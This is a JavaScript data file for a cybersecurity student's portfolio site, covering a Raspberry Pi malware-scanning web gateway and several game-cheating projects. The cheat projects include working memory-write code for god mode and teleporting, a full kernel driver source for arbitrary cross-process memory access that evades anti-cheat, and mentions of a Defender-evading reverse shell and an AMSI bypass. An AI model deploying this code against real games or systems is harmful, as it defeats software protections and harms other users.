// Shared content used across all three directions. // Real values from the old portfolio, polished for the new site. const RESUME = { name: "Jad Mayouf", handle: "@jadmayouf", tagline: "Cybersecurity student with a focus on offense, reverse engineering, and detection engineering.", location: "Tampa, FL", email: "jadmayouf@gmail.com", links: { linkedin: "linkedin.com/in/jadmayouf", github: "github.com/jadmayouf", email: "jadmayouf@gmail.com", }, focus: ["Generalist", "Blue Team / SOC", "Reverse Engineering", "Offensive / Red Team"], education: { school: "University of South Florida", degree: "B.S. in Cybersecurity", gpa: "3.77", expected: "Expected December 2026", }, team: { name: "CyberHerd", role: "Member", org: "USF's official cybersecurity competition team", note: "Competing in collegiate CTFs and blue-team exercises.", }, experience: [ { role: "Tech Support", company: "OneSupport", dates: "2026 — Present", notes: [ "Front-line technical support; troubleshooting hardware, software, and networking issues for end-users.", "Building day-one professional habits: ticket hygiene, clear written comms, knowledge-base contributions.", ], }, ], projects: [ { id: "p1", title: "Raspberry Pi Secure Web Gateway", kind: "Infrastructure", category: "blue", tags: ["Raspberry Pi", "Mitmproxy", "Linux", "Alerting", "VirusTotal API", "Python"], blurb: "A Raspberry Pi transformed into a transparent Secure Web Gateway that intercepts HTTP/HTTPS downloads, scans risky files with VirusTotal, and blocks malicious content before it reaches the endpoint.", role: "Designed, built, and currently runs in my home network.", detail: { objective: "Build a transparent, low-cost network gateway that intercepts downloads, identifies risky file types (executables, archives, scripts), and automatically queries VirusTotal — blocking anything flagged as malicious or suspicious in real time.", approach: [ "Configured a Raspberry Pi as a transparent proxy using mitmproxy in transparent mode, routing HTTP/HTTPS traffic through iptables PREROUTING rules.", "Built a Python mitmproxy add-on that inspects response headers and filenames to identify risky downloads by extension (.exe, .dll, .msi, .jar, archives, scripts) and MIME type.", "Implemented a hold → scan → release/deny policy: buffer the response body, hash with SHA-256, check a local SQLite cache (24h TTL), then query VirusTotal by hash or upload unknown files.", "Added rate limiting (4 requests/minute) and concurrency controls to stay within VirusTotal's free API limits.", "Built a decision engine: deny if any engine flags malicious or suspicious, deny on timeouts or scanner errors (fail-closed), allow only when enough engines report harmless.", "Implemented per-file JSON audit summaries saved to disk, plus readable multi-line console decision logs for quick triage.", "Tested against online malware samples and my own custom reverse shell — both were successfully blocked by the gateway.", ], outcomes: [ "Gateway successfully blocks known malware, including samples that bypass Windows Defender.", "Clean per-device visibility into outbound DNS and HTTP behavior.", "Serves as a practical teaching tool for understanding what normal vs. malicious traffic looks like.", "Protects all network devices without requiring any changes on the devices themselves.", ], learned: "Real networking is humbling. Half the work was getting routes, MTU, and DNS leaks right before any 'security' was even on the table. The most valuable lesson was designing a fail-closed system — if the scanner breaks, files are blocked, not allowed.", artifacts: ["Full mitmproxy add-on source (Python)", "Network diagram", "Block page screenshots", "VirusTotal scan results"], sections: [ { heading: "Architecture", content: [ { type: "paragraph", text: "This project turns a Raspberry Pi into a Secure Web Gateway (SWG) that intercepts downloads, checks risky files with VirusTotal, and blocks malicious content before it reaches the endpoint. It runs as a mitmproxy add-on and implements a practical \"hold → scan → release/deny\" policy with caching and rate limiting — fast enough for everyday personal use." }, { type: "slider", images: [ { src: "images/firstimage.png", alt: "Flow diagram: Client → Pi (mitmproxy add-on) → VirusTotal → Allow/Block → Client", caption: "Architecture diagram showing the traffic flow through the Pi gateway." }, { src: "images/pi-ap.jpg", alt: "mitmdump running on the left. On the right, a dedicated console for files scanned and their results.", caption: "mitmdump running alongside the dedicated scan results console." }, ], }, ], }, { heading: "Overview", content: [ { type: "list", ordered: false, items: [ "Targeted scanning: Only risky file types are intercepted by extension/MIME (e.g., .exe, .dll, .msi, .jar, archives, scripts).", "Size cap: Files up to 32 MB are scanned (policy default). Oversize downloads are denied with a clear message. (VirusTotal accepts max 32MB)", "Fast path: Hash (SHA-256) lookup on VirusTotal first. If known, the verdict is instant.", "Unknown path: Upload the file and short-poll analysis for a quick verdict; fall back to policy (DENY) if analysis isn't ready.", "Decision policy: Deny if any engine marks malicious or suspicious. Deny on timeouts or scanner errors (as a security measure).", "Cache & rate limit: 24h verdict cache (SQLite) and a conservative 4 requests/minute gate to VT (limited by VT because of the free API).", "Auditability: Per-file JSON full analysis summaries saved on disk; console prints a readable multi-line decision log for a quick read.", ], }, ], }, { heading: "How it works", content: [ { type: "list", ordered: true, items: [ "Identify risky downloads. The add-on inspects response headers and filenames to decide if the file merits scanning (extensions like .exe, .zip; MIME hints like application/x-dosexec). If not risky, the file passes immediately.", "Buffer & hash. The response body is buffered, then hashed with SHA-256 — this becomes the stable key for cache, logs, and VT lookups.", "Check the cache. A local SQLite cache stores verdict and per-engine stats for 24 hours to avoid re-scanning popular files.", "VirusTotal fast path. Query the file report by hash. If present, parse the counts (malicious/suspicious/undetected), build a summary, and make a decision.", "Upload & short poll (unknowns). If unknown or undetected only, upload the file and poll for a short window. Fetch the final report and summarize.", "Decide. If any engine reports malicious/suspicious → DENY. Unknown/timeout → DENY. Otherwise → ALLOW.", "Record & present. Save a JSON summary (VT stats, timestamps, decision). Print a readable console block. If denied, return a HTML \"Blocked\" page with the reason and SHA-256.", ], }, ], }, { heading: "Policy highlights", content: [ { type: "list", ordered: false, items: [ "Risky file filters: extensions include .exe, .dll, .msi, .vbs, .ps1, .jar, .bat, .scr, .apk, .elf, archives like .zip/.rar/.7z, and macro-enabled docs. MIME hints include PE, JAR, ZIP, 7z, CAB, application/octet-stream.", "Max scan size: 32 MB. Larger files are denied with a size-cap message.", "Rate limiting: 4 VirusTotal requests per minute; extra calls wait before sending.", "Cache TTL: 24 hours (SQLite file on disk, set to 24 for testing purposes).", "Fail-open/closed: By default, scanner errors result in deny. Letting files pass if the scanner fails is a huge security problem.", ], }, ], }, { heading: "Logging & artifacts", content: [ { type: "list", ordered: false, items: [ "Drop dir: temporary file copies for audit (e.g., /var/lib/proxy-drops/).", "Verdict cache: /var/lib/proxy-drops/vt_cache.db (SQLite).", "VirusTotal summaries: per-file JSON in /var/log/pi_watcher/vt/ with stats and a permalink.", "Console summaries: Easy to read blocks to respond quickly with severity, file type, client, URL, stats, decision, and elapsed time.", ], }, ], }, { heading: "Running it (transparent mode)", content: [ { type: "paragraph", text: "The add-on is a single Python file you pass to mitmdump in transparent mode. Set your API key as an environment variable or inside the script, and route HTTP/HTTPS traffic through the Pi (policy-enforced). Below are typical launch commands and a minimal iptables redirect pattern for a lab setup." }, { type: "code", title: "Launch commands (bash)", code: `# Install dependencies sudo apt update && sudo apt install -y mitmproxy python3-requests # (Example) Redirect HTTP/HTTPS to mitmproxy on the Pi's interface # HTTPS interception requires configuring trust/certs on clients. sudo iptables -t nat -C PREROUTING -i wlan1 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports 8080 || sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports 8080 # Run mitmproxy in transparent mode with the gate stdbuf -oL -eL sudo mitmdump -s vt_gate.py --mode transparent -p 8080 --listen-host 0.0.0.0 --showhost 2>&1 | sudo tee -a /var/log/pi_watcher/gate.log # tail command to watch gate.log for vt scans tail -F /var/log/pi_watcher/gate.log | awk ' /^=+$/ {print; show=!show; next} show {print} '`, }, ], }, { heading: "Testing malware samples", content: [ { type: "paragraph", text: "I test malware posted online and my own against the SWG. This is a sample I found online. Downloading it on my MacBook, when the file finishes scanning, I get a blocked page and the file never reaches my device." }, { type: "image", src: "images/test2.png", alt: "Gateway block page shown after intercepting a malicious download", caption: "\"Download blocked\" page shown when a file is flagged as malicious." }, ], }, { heading: "Testing malware that Windows Defender does not detect", content: [ { type: "paragraph", text: "This is a custom reverse shell code loader that is undetected by Windows Defender and can lead to complete control of the machine." }, { type: "image", src: "images/revshellfail.png", alt: "Gateway blocking a custom reverse shell that evades Windows Defender", caption: "\"Download blocked\" — the SWG catches what Defender misses." }, { type: "paragraph", text: "The Secure Web Gateway successfully blocks the download. Without the SWG, even having one of the most popular anti-virus programs could still lead to a victim machine being completely compromised. Windows Defender can be completely bypassed if this reverse shell is combined with an AMSI bypass, which allows any tool to run undetectable from memory." }, ], }, { heading: "Block and error pages", content: [ { type: "paragraph", text: "Denied downloads receive a simple HTML page stating that the download was blocked along with the following info: verdict, policy reason, SHA-256, filename, URL, client." }, { type: "image", src: "images/blockpage.png", alt: "Standard block page with verdict details", caption: "\"Download blocked\" page shown when a file is blocked." }, { type: "paragraph", text: "If the scanner is failing for any reason, files are blocked as a security measure." }, { type: "image", src: "images/scannerfailedblockpage.png", alt: "Block page shown when the scanner fails", caption: "\"Download blocked\" page — triggered because the scanner failed (fail-closed policy)." }, ], }, { heading: "mitmproxy add-on source code", content: [ { type: "disclosure", label: "View vt_gate.py source (~500 lines)", language: "python", code: `# vt_gate.py from mitmproxy import http, ctx import hashlib, os, time, json, sqlite3, re, threading from datetime import datetime from urllib.parse import urlparse, parse_qs, unquote try: import requests except Exception: requests = None # ---------------- CONFIG ---------------- VT_API_KEY = "---API KEY---" # your key VT_RPM = 3 # requests/min (3 for the limit) VT_MAX_CONCURRENCY = 2 # max simultaneous VT operations VT_TIMEOUT = 20 # per HTTP call timeout (s) VT_POLL_TIMEOUT = 12 # poll this long for analysis completion (s) MIN_ENGINES_FOR_CLEAN = 60 # require at least this many responders CACHE_TTL_SECS = 24 * 3600 # reuse known verdicts for 24h MAX_SCAN_BYTES = 32 * 1024 * 1024 # 32 MB cap FAIL_OPEN = False # False = deny on errors; True = allow DROP_DIR = "/var/lib/proxy-drops" VT_LOG_DIR = "/var/log/pi_watcher/vt" CACHE_DB = "/var/lib/proxy-drops/vt_cache.db" # Risky extensions — only scanned when CD=attachment or top-level nav RISKY_EXTS = { ".exe", ".dll", ".sys", ".msi", ".msp", ".scr", ".com", ".cpl", ".bat", ".cmd", ".vbs", ".vbe", ".wsf", ".wsc", ".hta", ".lnk", ".ps1", ".psm1", ".psd1", ".docm", ".xlsm", ".pptm", ".doc", ".xls", ".ppt", ".rtf", ".zip", ".rar", ".7z", ".cab", ".iso", ".img", ".apk", ".sh", ".run", ".bin", ".elf", ".so", ".deb", ".rpm", ".jar", ".war", ".dmg", ".pkg", } SKIP_MIME_PREFIXES = ("text/", "image/", "video/", "audio/", "font/") SKIP_MIME_EXACT = { "application/javascript", "text/javascript", "application/json", "text/css", "application/wasm", "application/manifest+json", } DEST_SKIP = {"style", "script", "image", "font", "media", "worker"} # --- Rate Limiter --- _vt_lock = threading.Lock() _vt_times = [] _vt_semaphore = threading.Semaphore(VT_MAX_CONCURRENCY) def _vt_wait(): with _vt_lock: now = time.time() _vt_times[:] = [t for t in _vt_times if now - t < 60] if len(_vt_times) >= VT_RPM: wait = 60 - (now - _vt_times[0]) + 0.5 if wait > 0: time.sleep(wait) _vt_times.append(time.time()) def sha256_bytes(data): return hashlib.sha256(data).hexdigest() def status(tag, sha_short, msg): ts = datetime.now().strftime("%H:%M:%S") line = f"[{ts}] [{tag:>5}] [{sha_short[:12]:>12}] {msg}" ctx.log.info(line) # ... (VT API functions, should_scan, VTGate class) # Full source available on request. addons = [VTGate()]`, }, ], }, ], }, }, { id: "p3", disabled: true, title: "Home Lab — Wazuh + Sysmon + Reverse Shell Tests", kind: "Detection", category: "blue", tags: ["Wazuh", "Sysmon", "Ubuntu Server", "Windows VM", "Detection Lab"], blurb: "Detection-as-code lab: replaying the reverse shell from the previous project against a Wazuh + Sysmon stack and tuning rules until they catch it cleanly.", role: "Work in progress.", wip: true, detail: { objective: "Stand up a realistic mini-SOC at home where I can replay attacks, measure what gets caught, and iterate on rules — treating detection like code.", approach: [ "Wazuh manager + indexer on a Linux VM; Windows endpoints with Sysmon (SwiftOnSecurity baseline + custom additions).", "Built a small replay harness so I can re-run attack scenarios consistently after rule changes.", "Currently iterating on rules for: suspicious parent-child process chains, unusual outbound network behavior from non-browser processes, and LOLBin abuse.", "Planning to add Splunk side-by-side to compare query ergonomics and alert noise.", ], outcomes: [ "Repeatable test bench — every change to detection logic has a measurable before/after.", "Sharper intuition for false-positive cost vs. coverage.", ], learned: "Coverage is easy. Coverage without alert fatigue is the whole job.", artifacts: ["Lab topology", "Sysmon config diff", "Wazuh custom rules"], }, }, { id: "p4", title: "DMA-Based Memory Forensics & Hardware-Level Process Inspection — Game Hacking", kind: "Reverse Engineering", category: "grey", tags: ["Python", "Memory Forensics", "Direct Memory Access", "Reverse Engineering", "IDA Pro", "Cheat Engine"], blurb: "A curiosity-driven deep dive into how video game cheats work: DMA-based memory reading, static and dynamic reverse engineering, and understanding how kernel-level anti-cheats detect and prevent manipulation.", role: "Personal research — not used on live games.", detail: { objective: "Use video game anti-cheat as a real-world teacher for memory forensics, reverse engineering, and Windows kernel internals — understanding how cheats read/write process memory via DMA hardware while evading kernel-level protections.", approach: [ "Set up a Direct Memory Access (DMA) card in a PCIe slot, connected via USB-C to a Raspberry Pi that runs the cheat externally — operating below the OS layer where kernel anti-cheats can't easily detect it.", "Used IDA Pro for static reverse engineering: scanning binaries for unique instruction sequences, string references, and data structures to find memory offsets.", "Used Cheat Engine for dynamic reverse engineering: systematically searching memory for changing values (e.g., decreasing health) to locate where game state is stored.", "Implemented an offset resolution strategy using module-base + known offsets for reliable field access across the target build.", "Built write-read validation loops: for example, the teleport routine writes navigation coordinates, reads them back, and checks distance from start to guard against failed writes.", "Developed a Python-based UI tool with over 1,000 lines of code for real-time memory interaction: health readouts, god-mode flag toggling, waypoint teleportation, and more.", ], outcomes: [ "Deep understanding of how DMA operates below the OS to bypass kernel protections.", "Working knowledge of anti-cheat detection vectors: unsigned modules, process injection, memory read patterns, and suspicious API calls.", "Practical experience with IDA Pro + Cheat Engine + MemProcFS toolchain.", "Built on the kernel driver work from the previous project, extending the approach to external DMA-based access.", ], learned: "Concepts from class — loops, data structures, memory layout — appear constantly in real reverse engineering work. Small implementation choices dramatically affect stability; optimizing reads and using validation loops that minimize I/O improved performance across all machines involved.", artifacts: ["Reverse-engineering notes", "Python cheat source (1000+ lines)", "DMA hardware setup photos"], sections: [ { heading: "Background", content: [ { type: "paragraph", text: "Like many people in today's world, I grew up playing video games. A big part of why I study cybersecurity today has to do with video games. When I ran into cheaters online, I always wondered how they did it. Rather than paying for pre-made cheats, I set out to understand how the 'hacking' part actually works." }, { type: "paragraph", text: "For the past year, I kept researching source codes of different cheats, studying how anti-cheats work, and attempting to bypass them — until I was able to build my own tools from scratch. Starting at age 11 with jailbreaking PlayStations and iPhones, I've come a long way: I now deeply understand how cheats work at the memory level, how to reverse engineer the right functions and offsets, and how cheats are detected." }, { type: "slider", images: [ { src: "images/gtammpic/mainp.png", alt: "Research UI main dashboard", caption: "Custom Python UI — main dashboard for real-time memory interaction." }, { src: "images/gtammpic/p2.png", alt: "Pointer chain inspector view", caption: "Pointer chain inspector for navigating game-state structures." }, { src: "images/gtammpic/p3.png", alt: "Memory watch list overlay", caption: "Memory watch list showing live values from the target process." }, ], }, ], }, { heading: "Using Direct Memory Access cards", content: [ { type: "paragraph", text: "Direct Memory Access (DMA) is a hardware feature that allows certain devices to read from or write to system memory without involving the CPU for every data transfer. In my case, the DMA card sits in one of my motherboard's PCIe slots on the machine running the game. A USB-C cable connects the DMA card to a Raspberry Pi where the cheat runs — reading and writing memory externally." }, { type: "image", src: "images/dma-pi.jpg", alt: "DMA card connected to Raspberry Pi via USB-C", caption: "DMA card (PCIe) connected to the Raspberry Pi where memory reads/writes are processed.", maxWidth: 480 }, { type: "paragraph", text: "From a defensive or forensic standpoint, DMA is interesting because it can inspect or snapshot memory even if the OS is locked, crashed, or protected by kernel-level defenses. Security researchers use specialized DMA hardware to capture live memory safely. Tools like MemProcFS use DMA interfaces to read physical memory externally, allowing analysis without installing agents or tampering with kernel modules." }, { type: "paragraph", text: "From an offensive standpoint, because DMA operates below the OS, it can bypass kernel protections or anti-cheat drivers if not properly secured. This is why modern systems implement IOMMU (Input-Output Memory Management Unit) — it acts like a firewall between devices and memory, ensuring only authorized DMA devices can access specific regions." }, ], }, { heading: "Reverse engineering approach", content: [ { type: "list", ordered: true, items: [ "Static reverse engineering: IDA Pro to scan the binary for unique instruction sequences, string references, and data structures.", "Dynamic reverse engineering: Cheat Engine to dynamically analyze memory — for example, purposely decreasing health and repeatedly searching for changes to find where values are stored.", "Offset strategy: Because this is an external cheat, fixed offsets (module-base + known offsets) are the primary mechanism to resolve fields. This keeps the runtime logic simple and reliable for the target build.", "Validation & safety: Write-read validation loops guard against failed writes. The teleport routine writes coordinates, reads them back, and checks distance from start before confirming success.", "Tooling summary: IDA Pro for static analysis; Cheat Engine and MemProcFS for runtime reads/writes; custom Python resolver code that implements the read/write and validation logic.", ], }, ], }, { heading: "Defensive takeaway", content: [ { type: "paragraph", text: "Modern systems mitigate DMA abuse through:" }, { type: "list", ordered: false, items: [ "IOMMU (VT-d / AMD-Vi) — restricts which memory addresses devices can access.", "Driver signing and enforcement — prevents rogue kernel drivers that expose DMA-like access.", "Memory isolation — segmentation that ensures sensitive regions (e.g., credential stores, kernel space) can't be DMA-mapped.", "Behavioral detection — monitoring for unusual DMA or PCIe activity patterns.", ], }, ], }, { heading: "Code examples", content: [ { type: "code", title: "1) Reading player health", code: `def read_player_health(self): with self.lock: if not self.ped: return (float("nan"), float("nan")) hp = read_f32(self.proc, self.ped + PED__CURR_HP_OFF) mx = read_f32(self.proc, self.ped + PED__MAX_HP_OFF) return hp, mx`, }, { type: "paragraph", text: "Reads two floats from the resolved player object: current HP and max HP. The function takes a lock to avoid concurrent reads/writes and uses typed reads (read_f32) that translate raw bytes to floats." }, { type: "code", title: "2) Toggling player god flags", code: `def set_player_god(self, enable: bool) -> bool: with self.lock: if not self.ped: return False addr = self.ped + PED__GODFLAGS_OFF cur = read_u32(self.proc, addr, default=None) if cur is None: return False newv = (cur | GOD_BITMASK) if enable else (cur & ~GOD_BITMASK) if newv != cur: write_u32(self.proc, addr, newv) return True`, }, { type: "paragraph", text: "Reads the 32-bit flags word at the player's flags field, sets or clears the god-mode bits, and writes the new value back. The write is gated by a lock and a compare so it only fires when needed." }, { type: "code", title: "3) Teleporting to waypoint (validated)", code: `def teleport_to_waypoint_validated(self, attempts=20, sleep_ms=15): if not self.ped: return False, "Local CPed not resolved." nav_ped = self._nav_ptr(self.ped) if not nav_ped: return False, "Player CNavigation* is null." xyz = self._find_waypoint_xyz() if not xyz: return False, "Waypoint not found." tx, ty, tz = xyz start = self._read_nav_pos(nav_ped) if not start: return False, "Failed to read starting position." sx, sy, sz = start for _ in range(max(1, int(attempts))): try: write_f32(self.proc, nav_ped + NAV_POS_X, tx) write_f32(self.proc, nav_ped + NAV_POS_Y, ty) write_f32(self.proc, nav_ped + NAV_POS_Z, tz) if self.vehicle: nav_veh = self._nav_ptr(self.vehicle) if nav_veh: write_f32(self.proc, nav_veh + NAV_POS_X, tx) write_f32(self.proc, nav_veh + NAV_POS_Y, ty) write_f32(self.proc, nav_veh + NAV_POS_Z, tz) except Exception: time.sleep(sleep_ms / 1000.0) continue time.sleep(sleep_ms / 1000.0) cur = self._read_nav_pos(nav_ped) if not cur: continue cx, cy, cz = cur ds = math.dist((cx,cy,cz), (sx,sy,sz)) dt = math.dist((cx,cy,cz), (tx,ty,tz)) if ds > 100.0 and dt < 100.0 and dt > 1.0: return True, f"Teleported to ({tx:.2f}, {ty:.2f}, {tz:.2f})" return False, "Teleport did not validate."`, }, { type: "paragraph", text: "A write-then-validate loop: writes the target nav position, waits briefly, reads back the current position, and checks two distances (movement from start, proximity to target) to determine success. This reduces false positives from writes that appear to stick in memory but don't result in actual movement." }, ], }, { heading: "What I learned", content: [ { type: "list", ordered: false, items: [ "Static + dynamic toolchain: Combining IDA Pro for static analysis with Cheat Engine for live inspection made it possible to find stable offsets in the target process.", "How cheats are detected: Anti-cheats watch for unsigned modules or drivers, injections into the game process, memory reads, and suspicious API calls like WriteProcessMemory.", "CS fundamentals matter: Loops, data structures, and memory layout from class appear constantly in real cheat code.", "Performance matters: Repeated writes or looping through excess memory degrades responsiveness. Optimizing reads and using validation loops that minimize I/O improved stability.", "Validation is critical: Read-back checks and sanity/range checks reduce accidental mistakes when writing memory, which can lead to crashes.", ], }, ], }, ], }, }, { id: "p5", title: "Windows Kernel Driver Development — User-Mode Security Bypass — Game Hacking Pt. 2", kind: "Reverse Engineering", category: "grey", tags: ["Windows Driver Dev", "Kernel Bypass", "Reverse Engineering", "Anti-Cheat", "Detections"], blurb: "Built a Windows kernel driver to bypass a user-mode anti-cheat by reading and writing game memory at the kernel level — where user-mode anti-cheats have no privileges and cannot detect access.", role: "Writeup-driven, lab-only. First project in my game hacking journey.", detail: { objective: "Beat a user-mode anti-cheat by operating at the kernel level, learning Windows driver development, kernel debugging, and understanding the privilege boundary between user-mode and kernel-mode security.", approach: [ "Built a minimal Windows kernel driver exposing three IOCTLs (attach, read, write) over a FILE_DEVICE_UNKNOWN device using METHOD_BUFFERED requests.", "User-mode client sends a packed Request struct; the driver uses PsLookupProcessByProcessId and MmCopyVirtualMemory to move data across address spaces.", "Developed a user-mode overlay application that renders wall-hack visuals using the memory data read by the kernel driver.", "Debugged extensive BSODs during driver development using WinDbg with kernel debugging (KDNet) in a VM with snapshot rollbacks between experiments.", "Optimized buffered IOCTLs, explicit return sizes, and guardrails to keep the lab stable and avoid crashes.", ], outcomes: [ "Successfully read/wrote game memory without tripping user-mode anti-cheat hooks.", "Learned Windows kernel driver development from scratch — DriverEntry, IRP handling, symbolic links, device objects.", "Developed strong kernel debugging skills with WinDbg.", ], learned: "Kernel debugging is a different sport. Patience and good notes beat cleverness every time. The fun part is seeing where it breaks, then making it stable.", artifacts: ["Kernel driver source (C++)", "User-mode client source", "WinDbg debugging notes"], sections: [ { heading: "Context", content: [ { type: "paragraph", text: "This was my first project when I decided to dive into how video game hacking works. After research, I concluded I needed to first beat a user-mode anti-cheat — they are on the weaker side of anti-cheat software, which was the right starting point for learning. The approach: read and write memory at the kernel level where a user-mode anti-cheat has no privileges and cannot access." }, ], }, { heading: "What I built", content: [ { type: "list", ordered: false, items: [ "Driver exposes three IOCTLs (attach, read, write) over a FILE_DEVICE_UNKNOWN device using METHOD_BUFFERED requests.", "User-mode client sends a packed Request struct; the driver uses PsLookupProcessByProcessId and MmCopyVirtualMemory to move data across address spaces.", "Buffered IOCTLs, explicit return sizes, and guardrails keep the lab stable — I got many BSODs before optimizing. WinDbg was used with a VM to debug them.", ], }, ], }, { heading: "Kernel driver source", content: [ { type: "code", title: "Kernel driver source (C++)", code: `#include extern "C" { NTKERNELAPI NTSTATUS IoCreateDriver( PUNICODE_STRING DriverName, PDRIVER_INITIALIZE InitializationFunction); NTKERNELAPI NTSTATUS MmCopyVirtualMemory( PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize); } void debug_print(PCSTR text) { #ifndef DEBUG UNREFERENCED_PARAMETER(text); #endif KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, text)); } namespace driver { namespace codes { constexpr ULONG attach = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x696, METHOD_BUFFERED, FILE_SPECIAL_ACCESS); constexpr ULONG read = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x697, METHOD_BUFFERED, FILE_SPECIAL_ACCESS); constexpr ULONG write = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x698, METHOD_BUFFERED, FILE_SPECIAL_ACCESS); } struct Request { HANDLE process_id; PVOID target; PVOID buffer; SIZE_T size; SIZE_T return_size; }; NTSTATUS create(PDEVICE_OBJECT device_object, PIRP irp) { UNREFERENCED_PARAMETER(device_object); IoCompleteRequest(irp, IO_NO_INCREMENT); return irp->IoStatus.Status; } NTSTATUS close(PDEVICE_OBJECT device_object, PIRP irp) { UNREFERENCED_PARAMETER(device_object); IoCompleteRequest(irp, IO_NO_INCREMENT); return irp->IoStatus.Status; } NTSTATUS device_control(PDEVICE_OBJECT device_object, PIRP irp) { UNREFERENCED_PARAMETER(device_object); debug_print("[+] Device control called.n"); NTSTATUS status = STATUS_UNSUCCESSFUL; PIO_STACK_LOCATION stack_irp = IoGetCurrentIrpStackLocation(irp); auto request = reinterpret_cast( irp->AssociatedIrp.SystemBuffer); if (stack_irp == nullptr || request == nullptr) { IoCompleteRequest(irp, IO_NO_INCREMENT); return status; } static PEPROCESS target_process = nullptr; const ULONG control_code = stack_irp->Parameters.DeviceIoControl.IoControlCode; switch (control_code) { case codes::attach: status = PsLookupProcessByProcessId( request->process_id, &target_process); break; case codes::read: if (target_process != nullptr) status = MmCopyVirtualMemory( target_process, request->target, PsGetCurrentProcess(), request->buffer, request->size, KernelMode, &request->return_size); break; case codes::write: if (target_process != nullptr) status = MmCopyVirtualMemory( PsGetCurrentProcess(), request->buffer, target_process, request->target, request->size, KernelMode, &request->return_size); break; default: break; } irp->IoStatus.Status = status; irp->IoStatus.Information = sizeof(Request); IoCompleteRequest(irp, IO_NO_INCREMENT); return status; } } NTSTATUS driver_main(PDRIVER_OBJECT driver_object, PUNICODE_STRING registry_path) { UNREFERENCED_PARAMETER(registry_path); UNICODE_STRING device_name = {}; RtlInitUnicodeString(&device_name, L"DevicemarlDriver"); PDEVICE_OBJECT device_object = nullptr; NTSTATUS status = IoCreateDevice( driver_object, 0, &device_name, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &device_object); if (status != STATUS_SUCCESS) { debug_print("[-] Failed to create driver device.n"); return status; } UNICODE_STRING symbolic_link = {}; RtlInitUnicodeString(&symbolic_link, L"DosDevicesmarlDriver"); status = IoCreateSymbolicLink(&symbolic_link, &device_name); if (status != STATUS_SUCCESS) return status; SetFlag(device_object->Flags, DO_BUFFERED_IO); driver_object->MajorFunction[IRP_MJ_CREATE] = driver::create; driver_object->MajorFunction[IRP_MJ_CLOSE] = driver::close; driver_object->MajorFunction[IRP_MJ_DEVICE_CONTROL] = driver::device_control; ClearFlag(device_object->Flags, DO_DEVICE_INITIALIZING); debug_print("[+] Driver initialized successfully.n"); return status; } NTSTATUS DriverEntry() { debug_print("Driver entry debug printn"); UNICODE_STRING driver_name = {}; RtlInitUnicodeString(&driver_name, L"DrivermarlDriver"); return IoCreateDriver(&driver_name, &driver_main); }`, }, ], }, ], }, }, { id: "p7", title: "Real-Time Memory Analysis Pipeline — DMA Hardware + Python — Game Hacking", kind: "Reverse Engineering / Tooling", category: "grey", tags: ["Python", "Pygame", "DMA", "MemProcFS", "Reverse Engineering", "Threading"], blurb: "A real-time radar overlay built with Python and Pygame that reads game memory via DMA hardware at 200 Hz, renders an interactive tiled map with entity tracking, velocity prediction, and includes a full mortar ballistics calculator.", role: "Solo developer — iterated over ~1 year.", detail: { objective: "Build a polished, production-quality external radar tool that reads game state via DMA at high frequency, renders entities on a real map, and provides tactical utilities — all while handling hardware disconnects and process restarts gracefully.", approach: [ "Architected a decoupled reader/renderer pipeline: a DMA reader thread polls memory at 200 Hz while the Pygame render loop runs at 90 FPS, connected via shared state with proper locking.", "Implemented scatter DMA reads — batching hundreds of memory reads into a single FPGA transfer to minimize PCIe round-trips and maximize throughput.", "Built a staggered secondary-data system that refreshes health, death state, and consciousness flags on a round-robin schedule to avoid reading every field every frame.", "Added velocity-predicted entity interpolation so entity positions stay smooth between DMA read cycles.", "Wrote a full mortar ballistics calculator with per-faction firing tables, charge auto-selection, height correction, and live azimuth/elevation output.", "Implemented automatic DMA reconnection with exponential backoff, plus a stderr watchdog that detects fatal FPGA errors before they cause segfaults.", ], outcomes: [ "Stable tool used daily after ~1 year of development and studying.", "3,100+ lines of well-structured Python.", "Handles 5000+ entities at 90 FPS with sub-5ms DMA read latency.", ], learned: "Long-lived tools teach you things short projects don't — error recovery, state management across threads, and the discipline of not breaking what already works when adding features.", artifacts: ["radar.py (3,100 lines)", "mortar_calc.py (850 lines)"], sections: [ { heading: "Key features", content: [ { type: "list", ordered: false, items: [ "Scatter DMA reads: Batches all entity position reads into a single FPGA scatter call, minimizing PCIe round-trips.", "Decoupled reader/renderer: DMA reads run at 200 Hz on a background thread; Pygame renders at 90 FPS with velocity-predicted positions.", "Tiled map engine: Loads maps as tiles with zoom, pan, and smooth-scaled caching — handles maps up to 12,800×12,800 meters.", "Entity tracking: Players, vehicles, helicopters, turrets, and radio equipment — each with color coding, health bars, heading lines, and distance readouts.", "Mortar calculator: Full ballistics solver with per-faction firing tables, charge auto-selection, height correction, and live azimuth output.", "Player watchlist: Mark players as admin, cheater etc, — persisted to JSON on disk. Highlighted on the radar with colored tags.", "Auto-reconnect: Detects FPGA disconnect via stderr pipe watchdog, tears down stale VMM context, and reconnects with exponential backoff.", "Debug overlay: F3 toggles pipeline latency stats; F4 captures entity names for reverse engineering.", ], }, ], }, { heading: "Scatter DMA reads", content: [ { type: "paragraph", text: "The biggest performance win was moving from serial memory reads to scatter/gather DMA. Instead of making one PCIe round-trip per entity, I batch all reads into a single scatter call — prepare → execute → read." }, { type: "code", title: "Scatter batch helper", code: `def _scatter_batch(self, addr_size_pairs, fresh=True): out = {} valid = [(a, s) for a, s in addr_size_pairs if is_valid_ptr(a) and s > 0] if not valid: return out sc = self._scatter_open(fresh=fresh) if sc is None: return out try: for a, s in valid: sc.prepare(a, s) try: sc.execute() except Exception as _sx: raise DMAContextLost( f"scatter.execute failed: {_sx}") from _sx for a, s in valid: try: out[a] = sc.read(a, s) except Exception: out[a] = b"" finally: try: sc.close() except Exception: pass return out`, }, ], }, { heading: "Auto-reconnect with stderr watchdog", content: [ { type: "paragraph", text: "The memprocfs C library writes fatal FPGA errors directly to stderr. By the time Python sees them, calling into scatter.execute() can segfault. The solution: tee stderr through a pipe, scan for fatal signatures in a daemon thread, and set an event flag before the next DMA call." }, { type: "code", title: 